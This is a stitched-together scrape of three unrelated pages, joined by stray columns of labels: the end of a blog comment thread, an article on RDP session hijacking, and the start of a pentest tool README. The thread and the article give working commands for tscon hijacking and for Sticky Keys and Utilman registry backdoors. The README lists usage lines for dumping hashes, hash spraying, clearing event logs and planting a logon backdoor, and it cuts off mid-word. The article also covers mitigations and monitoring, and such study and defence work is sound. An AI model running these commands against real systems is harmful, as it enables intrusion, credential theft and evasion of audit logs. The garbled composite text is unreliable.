lunch. 9. Game over. Mitigations? Full disk encryption. But if you have an enterprise of 2000 employees, it is relatively hard to implement. It happens everywhere. You can harden the things, but almost everywhere you can do everything with built-in commands. You are right, it's not zero-day, it's not vulnerability - it is attack vector. Delete Replies Reply CarlosMarch 21, 2017 at 8:21 PM Maybe I'm misunderstanding but how is any of this different than John, local admin (again, God on the machine), installs keylogger on system message pump (something I can do in 10 minutes in C++). John asks IT to RDP into their machine. John has all their passwords. That's an even worse scenario because I no longer need the Domain Admin to be logged in any more (via RDP, local session, or otherwise). This is also possible in Linux (as root). Delete Replies Reply CarlosMarch 21, 2017 at 8:33 PM I think (maybe I'm wrong) that the problem is the idea that Local Admin is below System. But, they are not. Windows is not designed this way. A real Local Admin is ""root""... System is just a variant of Local Admin. Local Admin can always escalate to System otherwise they are *not* ""Local Admin."" You can create other locked down accounts via AD and Group Policy that come close to having some of the same rights, but they would not be Local Admins (such as Local Root without network access, network access without local rights, etc)... and indeed we do this all the time. Disclosure: I am a developer, with a strong interest in security, but I am not IT. I'm open-minded. Delete Replies Reply nopernikMarch 21, 2017 at 8:35 PM Yes, you can do anything. Everything is depends on point of view and scenarios that we can mind. By the way, IMHO one-two commands is much simpler than writing a keylogger. :) again, it's an attack vector, and i know that admin can do what ever he wants. Delete Replies Reply CarlosMarch 21, 2017 at 9:42 PM Agreed. It is definitely an attack vector. And I think this vector illustrates a weakness in using RDP to administer systems. But similar issues exist with using VNC to administer Linux or Mac boxes. It's probably even worse there. I understand that RDP is the quick and easy way for domain admins to administer Windows boxes who don't really care to use PowerShell, remote CMD, or any of the myriad of MSC Remote Management Console tools available. Delete Replies Reply CarlosMarch 21, 2017 at 9:49 PM Again, maybe I'm misunderstanding the issue, but you wouldn't use VNC to administer a Linux box. Why would you (not you personally- an admin) use Remote Desktop to administer a Windows box? And, if you do use RD, why in the world do you not understand that a Local Admin on that box is God over your (essentially *local*) console session? The same exact problem exists on Linux and every other OS AFAIK. Delete Replies Reply CarlosMarch 21, 2017 at 9:59 PM :-) Also, perhaps not 2-lines of CMD commands, but a keylogger is like 5 lines of code (not just on Windows, but on any OS). The issue is getting it to run as SYSTEM. Which you can't do unless you're a *Local Admin*. Delete Replies Reply Reply r00tk4March 21, 2017 at 12:38 PM Hey mate you arrive late, this is a design flow, in windows basically the system account can impersonate each user. You can find more info on impersonation and a tool made by us here www.blackmath.it or a video here https://www.youtube.com/watch?v=iI6JKRivgHU, have fun! ReplyDelete Replies nopernikMarch 21, 2017 at 2:14 PM Just for clarification. I've not invented pass the token. In your video demo, you show some kind of external program which behave like incognito or mimikatz, and can pass the token. I assume that the attacker is on the left side, and the client on the right side. So, left side is never get gui session of impersonated user, on the right side you are connecting an active user (which may be legit) to another session. Pointless. I'm talking about full GUI RDP passwordless session hijacking, that's all. Delete Replies Reply r00tk4March 21, 2017 at 3:45 PM Without any external program: sc create myserv binpath= ""tscon 2 /dest: tcp-rdp#0 "" sc start myserv ""NT AUTHORITY\\SYSTEM"" can impersonate each user, no zero day, no feature, simply how windows is built. You understand that from System to one user the way is easy, you can do that because system account can open handles to each user token on the machine and our software does exactly the same. I hope you understand what we means... In any case mimikatz do something completely different... Anyway we are opened to collaborate on this theme.... Delete Replies Reply Reply MikeMarch 21, 2017 at 10:03 PM This is not really an exploit... if you have local admin you can record windows sessions or use a keylogger or pretty much anything you want. It's like giving somebody root access when it's not needed (always). ReplyDelete Replies Reply MikeMarch 21, 2017 at 10:06 PM This is not really an exploit... if you have local admin you can record windows sessions or use a keylogger or pretty much anything you want. It's like giving somebody root access when it's not needed (always). ReplyDelete Replies Reply AnonymousMarch 22, 2017 at 4:24 AM Can this technique be used remotely? I don't see a remote parameter for tscon. ReplyDelete Replies Reply AnonymousMarch 22, 2017 at 10:49 AM Seriously, just remove your ""0day"" and ""privilege escalation"" keywords from your title, this is SO inaccurate (and you seem to know it regarding your own comments). If you still think this is a security issue, let me give you another ""0 day"" for your next blogpost: on Linux, you may use a live CD in order to become root, and then if you're root you can ""su"" any user without knowing his password. You're welcome. Ps: for your ""a local user may become a local administrator using a live USB/CD/whatever"", let me introduce you to a new security concept: Bitlocker + TPM. Can be enabled through GPO and is enabled in lots of large companies. ReplyDelete Replies nopernikMarch 22, 2017 at 11:09 AM You're right. Delete Replies Reply CarlosMarch 22, 2017 at 2:51 PM You don't even need bitlocker if you use SSD's like Samsung's EVO. The data is automatically encrypted *by default* and the factory encryption key (obviously accessible at first) can in turn be encrypted using simple, classic Class 0 BIOS password (the kind that ""protected"" old HDD's- but never really did). I don't know, but I think many SSD's do this as a matter of course- not just Samsung. And there are more Enterprise-managed options (Opal, for instance) on the same. Delete Replies Reply Reply CarlosMarch 22, 2017 at 8:14 PM This comment has been removed by the author. ReplyDelete Replies nopernikMarch 22, 2017 at 8:19 PM Carlos, because of your comments count, I see that you are very interested in this ""feature"" :) so would you like to continue conversation via email? :) nopernik at gmail Delete Replies Reply CarlosMarch 22, 2017 at 8:25 PM Sure. I highly respect your work. Sorry for the deletes. Just wanted to clarify my post (below). Feel free to respond to the thread. Delete Replies Reply Reply CarlosMarch 22, 2017 at 8:22 PM BTW, couple of food-for-thought things: 1) I wonder if Microsoft's remote tools like remote MSC or remote PowerShell sessions can be hijacked locally by a Local Admin? I don't think either establish local ""user sessions"" but I could be wrong. 2) I would think remote CMD (WinRM) would suffer similarly to RDP since I think that gives you the option of loading the domain user's *local* profile environment on that machine (C:\\Users\\...Desktop etc) and the profile would be created on the fly if it doesn't exist (just like RDP does). 3) How about VNC sessions? Can they be hijacked by Local Admin? I would think yes. Things like VNC and TeamViewer are especially problematic because they install privileged System Windows Services with console interactive rights (the login screen) as opposed to RDP, which does not do that (although it *appears* to do it and for all intents and purposes does, but it really doesn't... on Windows Pro it mimics the login screen, on Windows Server it absolutely does not because of Terminal Services... but neither really use the real console). ReplyDelete Replies Reply AnonymousMarch 23, 2017 at 9:22 PM this does not works under Windows Server 2016 Datacenter, running a full RDP server. I watched your video and instructions and did exactly the same psexec command. The outcome is that task manager or prompt is opened, but inside the user session. It does not ""pop out"" on my session just like your video, so it is useless. And yes, I am a local admin and domain admin, so that is not a priviledge problem. But I was able to reproduce under my another Server 2012R2 RDP server. ReplyDelete Replies nopernikMarch 24, 2017 at 3:31 AM Specially for you https://youtu.be/bbTfN5geSKw Delete Replies Reply Reply AnonymousMarch 28, 2017 at 3:03 PM Unfortunately, you're not a right. it's also working on w2016. I have already tested on .. below OS Name: Microsoft Windows Server 2016 Datacenter OS Version: 10.0.14393 N/A Build 14393 ReplyDelete Replies Reply Add comment Load more... Newer Post Older Post Home Subscribe to: Post Comments (Atom) ~# whoami nopernik Opportunities welcome. Follow @nopernik Paid services: https://MuggleSec.com View my complete profile ~# recent Recent Posts Widget Your browser does not support JavaScript! ~# history \xe2\x96\xbc\xc2 2017 (6) September (1) July (1) June (1) March (3) \xe2\x96\xba\xc2 2016 (12) August (1) July (5) June (3) May (1) February (1) January (1) \xe2\x96\xba\xc2 2015 (15) December (1) October (1) August (2) May (2) April (6) February (3) \xe2\x96\xba\xc2 2014 (25) December (1) October (1) September (4) August (5) July (14) ~# Contact Me Name Email * Message * Powered by Blogger.","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Sign in Get started DoublePulsar ALL STORIES CONTACT RDP hijacking \xe2\x80\x94 how to hijack RDS and RemoteApp sessions transparently to move through an organisation How you can very easily use Remote Desktop Services to gain lateral movement through a network, using no external software \xe2\x80\x94 and how to defend against it. Kevin Beaumont Kevin Beaumont Follow Mar 20, 2017 \xc2\xb7 7 min read Alexander Korznikov demonstrates using Sticky Keys and tscon to access an administrator RDP session \xe2\x80\x94 without even logging into the server. Brief background on RDP session connection If you\xe2\x80\x99ve used Remote Desktop Services before, or Terminal Services if you\xe2\x80\x99re as old as me, you will know there\xe2\x80\x99s a feature where you connect to another user\xe2\x80\x99s session \xe2\x80\x94 if you know their password. Did you know you can also hijack a session without the user password? Read on. You can right click a user in Task Manager, use tsadmin.msc, or use the command tscon.exe. It will ask for a password, and bomb if you can\xe2\x80\x99t authenticate as the user: Some tricks allow credential-less Session Hijacking Here\xe2\x80\x99s the deal. As revealed by by Benjamin Delpy (of Mimikatz) in 2011 and by Alexander Korznikov on Friday, if you run tscon.exe as the SYSTEM user, you can connect to any session without a password. It doesn\xe2\x80\x99t prompt, it just connects you to the user\xe2\x80\x99s desktop. I believe this is due to the way session shadowing was implemented in Microsoft Windows, and it runs throughout the years like this. Now, you might be saying \xe2\x80\x98If you\xe2\x80\x99re SYSTEM, you\xe2\x80\x99re already root\xe2\x80\xa6 You can already do anything\xe2\x80\x99. Yes. Yes you can. You could, for example, dump out the server memory and get user passwords. That\xe2\x80\x99s a long process compared to just running tscon.exe with a session number, and instantly get the desktop of said user \xe2\x80\x94 with no obvious trace, or external tools. This isn\xe2\x80\x99t about SYSTEM \xe2\x80\x94 this is about what you can do with it very quickly, and quietly. Attackers aren\xe2\x80\x99t interested in playing, they\xe2\x80\x99re interested in what they can do with techniques. This is a very valid technique. So, you have full blown RDP session hijacking, with a single command. Some parameters about how far this reaches You can connect to disconnected sessions. So if somebody logged out 3 days ago, you can just connect straight to their session and start using it. It unlocks locked sessions. So if a user is away from their desk, you steal their session AND it unlocks the \xe2\x80\x98workstation\xe2\x80\x99 without needing any credentials. It works for the physical console. So you can hijack the screen remotely. It also unlocks the physical console, too. You can connect to ANY session \xe2\x80\x94 so if, for example, it\xe2\x80\x99s the Helpdesk, you can connect to it without any authentication. If it\xe2\x80\x99s a Domain Admin, you\xe2\x80\x99re in. Because of the above point (you can connect to disconnected sessions), this makes it an incredibly simple way to laterally move through a network. You can use win32k SYSTEM exploits \xe2\x80\x94 there are many \xe2\x80\x94 to gain SYSTEM permissions, and then use this feature. Meaning even as a standard user, if patches aren\xe2\x80\x99t applied properly you can use this. Obviously, any route to SYSTEM is valid \xe2\x80\x94 e.g. any method to get to a local administrator (there\xe2\x80\x99s a few!). There are no external tools. Nothing to get through application whitelisting. No executable is written to disk. Unless you know what to monitor (more on that later), you won\xe2\x80\x99t know this is happening. It works remotely. You can take over sessions on remote computers, even if you\xe2\x80\x99re not logged into that server. Gaining SYSTEM for tscon.exe If you\xe2\x80\x99re an administrator, you can use a service as Alexander demonstrates: In essence it is really easy, just use the quser command to get the Session ID you want to hijack, and your own SESSIONNAME. Then run tscon with the Session ID for hijack, and your own SESSIONNAME. Your own Session will be replaced with the hijacked session. The service will run as SYSTEM by default \xe2\x80\x94 you\xe2\x80\x99re in. Just remember to delete the service afterwards, if you\xe2\x80\x99re evil. Here\xe2\x80\x99s an example of it in practice on a Windows Server 2012 R2 server: https://www.youtube.com/watch?v=OgsoIoWmhWw Other methods: You can use Scheduled Tasks to gain SYSTEM and run the command. Just schedule the command to run immediately as SYSTEM with interactive privileges. Use can use a variety of methods like Sticky Keys to get SYSTEM, without even needing to log in (in the future). See below. Exploits etc (see above). Lateral movement Most organisations allow Remote Desktop through their internal network, because it\xe2\x80\x99s 2017 and that\xe2\x80\x99s how Windows administration works. Also, RemoteApp uses RDP. Because of this, it\xe2\x80\x99s a fantastic way to move around an organisation\xe2\x80\x99s network \xe2\x80\x94 forget passwords, just surf around and abuse other people\xe2\x80\x99s access. You appear in the organisation logs as that user, not yourself. How to backdoor for credential-less hijacking Remote Desktop bruteforcing is a major problem. Anybody who has setup a honeypot recently will know within seconds you will be getting hit with failed RDP logins. First they portscan, then thousands of login attempts arrive. It gets worse \xe2\x80\x94 I run RDP honeypots, and I see them regularly \xe2\x80\x94 when breached they get backdoored using the techniques below. From research, over 1 in 200 scanned Remote Desktop servers online are already backdoored using these methods. This means that you can session hijack with them right now, without even needing to try to log in or authenticate in any way. That\xe2\x80\x99s bad. Consider Shodan shows there are millions of RDP servers online right now, and the number grows constantly with cloud services etc, this is going to generate\xe2\x80\xa6 issues. RDP backdoor method one \xe2\x80\x94 Sticky Keys The concept here is pretty simple \xe2\x80\x94 Windows supports a feature called Sticky Keys, which is an Accessibility feature built into the OS and available pre-logon (at the login screen, either via a physical console or via Remote Desktop). It runs as SYSTEM. If you set Sethc.exe (Sticky Keys) to spawn cmd.exe, you have a backdoor you can use if you are locked out of a box \xe2\x80\x94 you have SYSTEM access, so you can do anything even without an account. You can do this by either replacing sethc.exe with cmd.exe \xe2\x80\x94 this requires a reboot, and physical access to the box \xe2\x80\x94 or just set the registry key using the command below. REG ADD ""HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\sethc.exe"" /t REG_SZ /v Debugger /d \xe2\x80\x9cC:\\windows\\system32\\cmd.exe\xe2\x80\x9d /f Ta-da! The box is now permanently backdoored. Just Remote Desktop in and at the login screen, hit F5 a bunch of times. Method two \xe2\x80\x94 Utilman It\xe2\x80\x99s exactly the same as before, just trojan utilman.exe instead. At the login screen, press Windows Key+U, and you get a cmd.exe window as SYSTEM. REG ADD ""HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution tilman.exe"" /t REG_SZ /v Debugger /d \xe2\x80\x9cC:\\windows\\system32\\cmd.exe\xe2\x80\x9d /f Scanning for backdoor\xe2\x80\x99d RDP servers There is a prebuilt tool here, which works wonders \xe2\x80\x94 just spin it up and find servers which already have a SYSTEM level backdoor exposed: ztgrace/sticky_keys_hunter sticky_keys_hunter - A script to test an RDP host for sticky keys and utilman backdoor. github.com From online scanning, a significant amount of open RDP servers online are already backdoored. Mimikatz module There is now a Mimikatz module for very easily doing this: gentilkiwi/mimikatz mimikatz - A little tool to play with Windows security github.com gentilkiwi rocking it Mitigations OS-I had a section about Window Server 2016 here, however after further investigation it appears to also be impacted. After testing this applies to every OS since Windows 2000, including Windows 10 and 2016. Group Policy \xe2\x80\x94 I strongly recommend you use Group Policy to log off disconnected sessions, either immediately or soon after the user disconnects. This will NOT be popular in IT environments \xe2\x80\x94 but the risk is now completely real that they can very easily \xe2\x80\x94 with one built in command \xe2\x80\x94 be hijacked more or less silently in the real world. I would also log off idle sessions. Don\xe2\x80\x99t expose RDS/RDP to the internet \xe2\x80\x94 if you do, I strongly suggest you implement multi-factor authentication. You can use things like Microsoft RD Gateway or Azure Multi-Factor Authentication Server to get very low cost multi-factor authentication. If you\xe2\x80\x99re exposing RDP directly to the internet and somebody creates a local user or your domain users have easy to guess or reused credentials, things will go downhill fast. Trust me \xe2\x80\x94 I\xe2\x80\x99ve seen hospitals and others be ransomware\xe2\x80\x99d by RDS servers. Monitoring It is surprisingly very difficult to record session hijacking \xe2\x80\x94 there is one event log (Microsoft-Windows-TerminalServices-LocalSessionManager/Operational) which records sessions connecting \xe2\x80\x94 however it does not appear to differentiate between a normal user connecting and tscon.exe being used \xe2\x80\x94 I\xe2\x80\x99ve been through every other event log and can\xe2\x80\x99t see anything which suggests this is happening. This is actually a major issue and I lobby Microsoft to add some kind of Event Log ASAP \xe2\x80\x94 it\xe2\x80\x99s a real gap. My suggestion is you alert for other related behaviour using the Event Log and tools like Microsoft OMS, Windows Event Forwarding, Splunk etc. You\xe2\x80\x99re looking for SYSTEM being misused. For example abnormal Service creation and abnormal scheduled task creation should be logged centrally, and recorded against. Additionally, you can look for Mimikatz related activity. k FAQ Q: This isn\xe2\x80\x99t new or a vulnerability. A: Java applets and macros aren\xe2\x80\x99t new. If the technique works, it will get used. This one has flown under the radar \xe2\x80\x94 that doesn\xe2\x80\x99t mean it is not valid. Q: If you have SYSTEM you already own the box. A: Correct. Can you type one command and get the unlocked desktop of a user, even if they went on holiday a week ago, without a log of it? Now you can. Microsoft Sysadmin Rds Hijack 821 claps Kevin Beaumont WRITTEN BY Kevin Beaumont Follow ""Influential UK infosec geezer"" - The Register | ""Cyber security expert"" - BBC News | ""Top 20 Influencers"" - Imperva | ""A bloody idiot"" - my mum. DoublePulsar DoublePulsar Follow Cybersecurity from the trenches of reality, written by Kevin Beaumont. Opinions are of the author alone, not their employer. See responses (5) More From Medium More from DoublePulsar Root Bridge \xe2\x80\x94 how thousands of internet connected Android devices now have no security, and are\xe2\x80\xa6 Kevin Beaumont Kevin Beaumont in DoublePulsar Jun 8, 2018 \xc2\xb7 5 min read 722 Related reads GPON Home Gateway RCE threatens tens of thousands users Artem Metla Artem Metla in Tenable TechBlog Feb 27 \xc2\xb7 6 min read 704 Related reads VulnHub\xe2\x80\x8a\xe2\x80\x94\xe2\x80\x8aKioptrix: Level 5 Mike Bond Mike Bond Oct 21, 2018 \xc2\xb7 13 min read 384 Discover Medium Welcome to a place where words matter. On Medium, smart voices and original ideas take center stage - with no ads in sight. Watch Make Medium yours Follow all the topics you care about, and we\xe2\x80\x99ll deliver the best stories for you to your homepage and inbox. Explore Become a member Get unlimited access to the best stories on Medium \xe2\x80\x94 and support writers while you\xe2\x80\x99re at it. Just $5/month. Upgrade About Help Legal To make Medium work, we log user data. By using Medium, you agree to our Privacy Policy, including cookie policy.","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"GitHub - nccgroup/redsnarf: RedSnarf is a pen-testing / red-teaming tool for Windows environments Skip to content Why GitHub? Features \xe2\x86\x92 Code review Project management Integrations Actions Package registry Team management Social coding Documentation Code hosting Customer stories \xe2\x86\x92 Security \xe2\x86\x92 Enterprise Explore Explore GitHub \xe2\x86\x92 Learn & contribute Topics Collections Trending Learning Lab Open source guides Connect with others Events Community forum GitHub Education Marketplace Pricing Plans \xe2\x86\x92 Compare plans Contact Sales Nonprofit \xe2\x86\x92 Education \xe2\x86\x92 In this repository All GitHub \xe2\x86\xb5 Jump to \xe2\x86\xb5 No suggested jump to results In this repository All GitHub \xe2\x86\xb5 Jump to \xe2\x86\xb5 In this repository All GitHub \xe2\x86\xb5 Jump to \xe2\x86\xb5 Sign\xc2 in Sign\xc2 up Watch 78 Star 986 Fork 231 nccgroup/redsnarf Code Issues 4 Pull requests 2 Projects 0 Security Insights Dismiss All your code in one place Over 40 million developers use GitHub together to host and review code, project manage, and build software together across more than 100 million projects. Sign up for free See pricing for teams and enterprises RedSnarf is a pen-testing / red-teaming tool for Windows environments https://www.nccgroup.trust/uk/about-u\xe2\x80\xa6 windows pentesting pentesting-windows python active-directory 277 commits 1 branch 0 releases Fetching contributors Apache-2.0 PowerShell Python PowerShell 83.7% Python 16.3% Branch: master New pull request Find File Clone or download Clone with HTTPS Use Git or checkout with SVN using the web URL. Download ZIP Downloading... Want to be notified of new releases in nccgroup/redsnarf? Sign in Sign up Launching GitHub Desktop... If nothing happens, download GitHub Desktop and try again. Go back Launching GitHub Desktop... If nothing happens, download GitHub Desktop and try again. Go back Launching Xcode... If nothing happens, download Xcode and try again. Go back Launching Visual Studio... If nothing happens, download the GitHub extension for Visual Studio and try again. Go back llandeilocymro Merge pull request #11 from cclauss/patch-1 \xe2\x80\xa6 Add missing closing parenthesis ) Latest commit 35949b3 Aug 22, 2017 Permalink Type Name Latest commit message Commit time Failed to load latest commit information. bits_and_bobs from __future__ import print_function Aug 1, 2017 wupdate Delete test.txt Apr 25, 2017 Invoke-Vnc.ps1 Minor Update to RedSnarf Apr 10, 2017 LICENSE.md Update LICENSE.md Nov 1, 2016 SessionGopher.ps1 Minor Update Apr 9, 2017 a modded a Jan 6, 2017 b Add files via upload Jan 9, 2017 readme.md Update readme.md May 26, 2017 redsnarf.py Add missing closing parenthesis ) Aug 6, 2017 redsnarf.rc Update redsnarf.rc May 26, 2017 rsc.exe RedSnarf ScreenShot Binary Jan 13, 2017 setup.py New Feature May 14, 2017 snarf_client.exe New Features May 15, 2017 snarf_client.py from __future__ import print_function Aug 1, 2017 snarf_client_32bit.exe New Feature May 15, 2017 readme.md ______ .____________ _____ \\______ \\ ____ __| _/ _____/ ____ _____ ________/ ____\\ | _// __ \\ / __ |\\_____ \\ / \\\\__ \\\\_ __ \\ __\\ | | \\ ___// /_/ |/ \\ | \\/ __ \\| | \\/| | |____|_ /\\___ >____ /_______ /___| (____ /__| |__| \\/ \\/ \\/ \\/ \\/ \\/ redsnarf.ff0000@gmail.com @redsnarf RedSnarf is a pen-testing / red-teaming tool by Ed Williams for retrieving hashes and credentials from Windows workstations, servers and domain controllers using OpSec Safe Techniques. See our YouTube Channel for Videos https://www.youtube.com/channel/UCDGWRxpHo6d8y6qIeMAXnxQ RedSnarf functionality includes: \xe2\x80\xa2 Retrieval of local SAM hashes \xe2\x80\xa2 Enumeration of user/s running with elevated system privileges and their corresponding lsa secrets password; \xe2\x80\xa2 Retrieval of MS cached credentials; \xe2\x80\xa2 Pass-the-hash; \xe2\x80\xa2 Quickly identify weak and guessable username/password combinations (default of administrator/Password01); \xe2\x80\xa2 The ability to retrieve hashes across a range; \xe2\x80\xa2 Hash spraying - Credsfile will accept a mix of pwdump, fgdump and plain text username and password separated by a space; \xe2\x80\xa2 Lsass dump for offline analysis with Mimikatz; \xe2\x80\xa2 Dumping of Domain controller hashes using NTDSUtil and retrieval of NTDS.dit for local parsing; \xe2\x80\xa2 Dumping of Domain controller hashes using the drsuapi method; \xe2\x80\xa2 Retrieval of Scripts and Policies folder from a Domain controller and parsing for 'password' and 'administrator'; \xe2\x80\xa2 Ability to decrypt cpassword hashes; \xe2\x80\xa2 Ability to start a shell on a remote machine; \xe2\x80\xa2 The ability to clear the event logs (application, security, setup or system); (Internal Version only) \xe2\x80\xa2 Results are saved on a per-host basis for analysis. \xe2\x80\xa2 Enable/Disable RDP on a remote machine. \xe2\x80\xa2 Change RDP port from 3389 to 443 on a remote machine. \xe2\x80\xa2 Enable/Disable NLA on a remote machine. \xe2\x80\xa2 Find where users are logged in on remote machines. \xe2\x80\xa2 Backdoor Windows Logon Screen \xe2\x80\xa2 Enable/Disable UAC on a remote machine. \xe2\x80\xa2 Stealth mimikatz added. \xe2\x80\xa2 Parsing of domain hashes \xe2\x80\xa2 Ability to determine which accounts are enabled/disabled \xe2\x80\xa2 Take a screen shot of a Remote logged on Active Users Desktop \xe2\x80\xa2 Record Remote logged on Active Users Desktop \xe2\x80\xa2 Decrypt Windows CPassword \xe2\x80\xa2 Decrypt WinSCP Password \xe2\x80\xa2 Get User SPN's \xe2\x80\xa2 Retrieve WIFI passwords from remote machines RedSnarf Usage Requirements: Impacket v0.9.16-dev - https://github.com/CoreSecurity/impacket.git CredDump7 - https://github.com/Neohapsis/creddump7 Lsass Retrieval using procdump - https://technet.microsoft.com/en-us/sysinternals/dd996900.aspx Netaddr (0.7.12) - pip install netaddr Termcolor (1.1.0) - pip install termcolor iconv - used with parsing Mimikatz info locally Show Help ./redsnarf.py -h ./redsnarf.py --help Retrieve Local Hashes Retrieve Local Hashes from a single machine using weak local credentials and clearing the Security event log ./redsnarf.py -H ip=10.0.0.50 -uC security Retrieve Local Hashes from a single machine using weak local credentials and clearing the application event log ./redsnarf.py -H ip=10.0.0.50 -uC application Retrieve Local Hashes from a single machine using local administrator credentials ./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d . Retrieve Local Hashes from a single machine using domain administrator credentials ./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com Retrieve Hashes across a network range using local administrator credentials ./redsnarf.py -H range=10.0.0.1/24 -u administrator -p Password01 -d . Retrieve Hashes across a network range using domain administrator credentials ./redsnarf.py -H range=10.0.0.1/24 -u administrator -p Password01 -d yourdomain.com Retrieve Hashes across a network range using domain administrator credentials ./redsnarf.py -H file=targets.txt -u administrator -p Password01 -d yourdomain.com Hash Spraying Spray Hashes across a network range ./redsnarf.py -H range=10.0.0.1/24 -hS credsfile -d . Retrieve Hashes across a network range domain login ./redsnarf.py -H range=10.0.0.1/24 -hS credsfile -d yourdomain.com Quickly Check Credentials ./redsnarf.py -H ip=10.0.0.1 -u administrator -p Password1 -d . -cQ y Quickly Check File containing usernames (-hS) and a generic password (-hP) ./redsnarf.py -H ip=10.0.0.1 -hS /path/to/usernames.txt -hP PasswordToTry -cQ y Retrieve Domain Hashes Retrieve Hashes using drsuapi method (Quickest) This method supports an optional flag of -q y which will query LDAP and output whether accounts are live or disabled ./redsnarf.py -H ip=10.0.0.1 -u administrator -p Password01 -d yourdomain.com -hI y (-hQ y) Retrieve Hashes using NTDSUtil This method supports an optional flag of -q y which will query LDAP and output whether accounts are live or disabled ./redsnarf.py -H ip=10.0.0.1 -u administrator -p Password01 -d yourdomain.com -hN y (-hQ y) Golden Ticket Generation ./redsnarf.py -H ip=10.0.0.1 -u administrator -p Password01 -d yourdomain.com -hT y Information Gathering Copy the Policies and Scripts folder from a Domain Controller and parse for password and administrator ./redsnarf.py -H ip=10.0.0.1 -u administrator -p Password01 -d yourdomain.com -uP y Decrypt Cpassword ./redsnarf.py -uG cpassword Find User - Live /redsnarf.py -H range=10.0.0.1/24 -u administrator -p Password01 -d yourdomain.com -eL user.name Find User - Offline (searches pre downloaded information) /redsnarf.py -H range=10.0.0.1/24 -u administrator -p Password01 -d yourdomain.com -eO user.name Display NT AUTHORITY\\SYSTEM Tasklist /redsnarf.py -H ip=10.0.0.1 -u administrator -p Password01 -d yourdomain.com -eT y Screenshot the Desktop of a Remote Logged on Active User /redsnarf.py -H ip=10.0.0.1 -u administrator -p Password01 -d yourdomain.com -eS y Misc Start a Shell on a machine using local administrator credentials ./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d . -uD y Start a Shell on a machine using domain administrator credentials ./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -uD y Retrieve a copy of lsass for offline parsing with Mimikatz on a machine using local administrator credentials ./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d . -hL y Run stealth mimikatz, this option fires up a web-server to serve a powershell script, this is obfusctaed and encoded machine side, data doesnt touch disk - creds are grepped for in an easy to read style and echoed back to screen. ./redsnarf.py -H ip=192.168.198.162 -u administrator -p Password01 -cS y -hR y Run Custom Command Example 1 ./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -uX 'net user' Example 2 - Double Quotes need to be escaped with \\ ./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -uX 'dsquery group -name ""domain admins"" | dsget group -members -expand' Local Access Token Policy Creates a batch file lat.bat which you can copy and paste to the remote machine to execute which will modify the registry and either enable or disable Local Access Token Policy settings. ./redsnarf.py -rL y Wdigest Enable UseLogonCredential Wdigest registry value on a machine using domain administrator credentials ./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rW e Disable UseLogonCredential Wdigest registry value on a machine using domain administrator credentials ./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rW d Query UseLogonCredential Wdigest registry value on a machine using domain administrator credentials ./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rW q UAC Enable UAC registry value on a machine using domain administrator credentials ./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rU e Disable UAC registry value on a machine using domain administrator credentials ./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rU d Query UAC registry value on a machine using domain administrator credentials ./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rU q Backdoor - Backdoor Windows Screen - Press Left Shift + Left Alt + Print Screen to activate Enable Backdoor registry value on a machine using domain administrator credentials ./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rB e Disable Backdoor registry value on a machine using domain administrator credentials ./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rB d Query Backdoor registry value on a machine using domain administrator credentials ./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rB q AutoLogon Enable Windows AutoLogon registry value on a machine using domain administrator credentials ./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rA e Disable Windows AutoLogon registry value on a machine using domain administrator credentials ./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rA d Query Windows AutoLogon registry value on a machine using domain administrator credentials ./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rA q Lock a 